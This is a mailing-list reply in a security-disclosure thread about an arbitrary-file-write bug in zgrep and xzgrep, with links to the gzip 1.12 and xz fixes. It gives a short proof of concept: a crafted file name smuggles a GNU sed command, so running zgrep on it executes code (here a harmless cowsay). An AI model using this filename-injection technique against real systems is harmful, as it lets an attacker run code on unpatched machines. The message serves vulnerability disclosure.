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Date: Fri, 8 Apr 2022 10:23:29 +0200
From: Jakub Wilk <jwilk@...lk.net>
To: <oss-security@...ts.openwall.com>
Subject: Re: zgrep, xzgrep: arbitrary-file-write vulnerability
* Jim Meyering <jim@...ering.net>, 2022-04-07, 11:44:
>All previous versions of gzip and xzutils are affected.
>
>xzutils released this patch today:
>
> https://tukaani.org/xz/xzgrep-ZDI-CAN-16587.patch
> https://tukaani.org/xz/xzgrep-ZDI-CAN-16587.patch.sig
>
>gzip-1.12 was released today, with the fix:
>
> https://lists.gnu.org/r/bug-gzip/2022-04/msg00011.html
> https://ftp.gnu.org/gnu/gzip/gzip-1.12.tar.xz
> https://ftp.gnu.org/gnu/gzip/gzip-1.12.tar.xz.sig
As mentioned in the xz patch, if you have GNU sed, you get not just file
write, but direct code execution.
PoC:
$ touch foo.gz
$ echo foo | gzip > "$(printf '|\n;e cowsay pwned\n#.gz')"
$ zgrep foo *.gz
_______
< pwned >
-------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
foo
--
Jakub Wilk
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